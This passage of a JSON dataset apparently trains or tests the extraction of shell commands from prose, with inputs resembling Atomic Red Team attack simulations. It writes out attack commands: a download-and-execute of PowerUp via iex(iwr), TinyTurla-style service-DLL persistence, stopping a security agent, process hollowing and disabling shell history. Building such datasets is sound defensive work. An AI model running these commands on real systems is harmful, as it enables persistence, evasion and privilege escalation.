    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves running a DLL as a service to mimic the TinyTurla backdoor, which can be achieved with the command:\ncopy \"#{dllfilename}\" %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time",
    "output": "{\"command_list\": [\"copy \\\"#{dllfilename}\\\" %systemroot%\\\\system32\\\\\\nsc create W64Time binPath= \\\"c:\\\\Windows\\\\System32\\\\svchost.exe -k TimeService\\\" type= share start=auto\\nsc config W64Time DisplayName= \\\"Windows 64 Time\\\"\\nsc description W64Time \\\"Maintain date and time synch on all clients and services in the network\\\"\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\" /v TimeService /t REG_MULTI_SZ /d \\\"W64Time\\\" /f\\nreg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W64Time\\\\Parameters\\\" /v ServiceDll /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\w64time.dll\\\" /f\\nsc start W64Time\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    With administrative access, security services such as McAfeeDLPAgentService can be stopped and disabled via the following commands: \nnet.exe stop #{service_name}\nsc.exe config #{service_name} start= disabled\n. Ensure the service is stopped by checking its status with 'sc query McAfeeDLPAgentService'.",
    "output": "{\"command_list\": [\"net.exe stop #{service_name}\\nsc.exe config #{service_name} start= disabled\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For demonstrating process hollowing with shellcode execution (spawning calc.exe) while keeping the parent process suspended, run the following: $PathToAtomicsFolder\\T1055.012\\bin\\x64\\CreateProcessWithPipe.exe -program \"#{hollow_binary_path}\" -debug",
    "output": "{\"command_list\": [\"$PathToAtomicsFolder\\\\T1055.012\\\\bin\\\\x64\\\\CreateProcessWithPipe.exe -program \\\"#{hollow_binary_path}\\\" -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To capture packets with domain=AF_PACKET and type=SOCK_RAW for a few seconds, use the following command: sudo #{program_path} -a -t 3",
    "output": "{\"command_list\": [\"sudo #{program_path} -a -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Shell history can be disabled by executing this command: export HISTSIZE=0\n#{evil_command}\n",
    "output": "{\"command_list\": [\"export HISTSIZE=0\\n#{evil_command}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a new IAM user in AWS, which adversaries often do to avoid detection, use the following command: aws iam create-user --user-name #{username}\n",
    "output": "{\"command_list\": [\"aws iam create-user --user-name #{username}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To restart a FreeBSD, macOS, or Linux system, use the following command: reboot.",
    "output": "{\"command_list\": [\"reboot\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = 